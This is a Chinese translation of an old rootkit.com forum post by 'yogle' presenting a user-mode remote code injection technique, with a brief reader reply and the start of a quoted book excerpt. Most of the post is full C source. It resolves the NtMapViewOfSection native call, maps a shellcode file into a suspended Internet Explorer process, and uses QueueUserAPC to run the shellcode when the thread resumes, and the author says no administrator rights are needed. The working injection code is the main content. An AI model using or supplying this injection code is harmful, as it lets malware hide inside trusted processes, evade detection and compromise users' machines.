远程代码注入新技术

译文作者：zshoucheng
原始出处：http://www.rootkit.com/newsread.php?newsid=715

远程代码注入新技术
By: yogle

我研究出了一种新的在远程进程中执行代码的可能性，就是利用一个未文档函数在远程进程地址空间写入代码，并且用一种新的技术在远程进程中执行它，这种技术完全工作在用户模式下，并且不需要特殊的条件比如像管理员权限或者之类的要求。让源码说明一切:(我为我的英文水平感到抱歉,我来自德国)

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#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;

LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;

// 转换偏移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段
Status = NtMapViewOfSection(hFileMappingObject,
        hProcess,
        &ViewBase,
        0,
        0,
                                &SectionOffset,
        &ViewSize,
                                ViewShare,
                                0,
        Protect);
if (!NT_SUCCESS(Status))
{
// 失败
return NULL;
}

//返回起始地址
return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// 取ShellCode,任何你想实现的
HANDLE hFile = CreateFile ("C:\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C:\Programme\Internet Explorer\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);

// 注入shellcode到目标进程地址空间
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

Quote:
引用第1楼evilbogy于2007-06-09 17:40发表的 :
未文档函数－＞未公开函数。

未公开只是一个片面的说法,下面摘自《Undocumented Windows 2000 Secrets》的翻译:

Quote:

第二章 The Windows 2000 Native API

翻译：Kendiv

补充：综合编程 , 安全编程 ,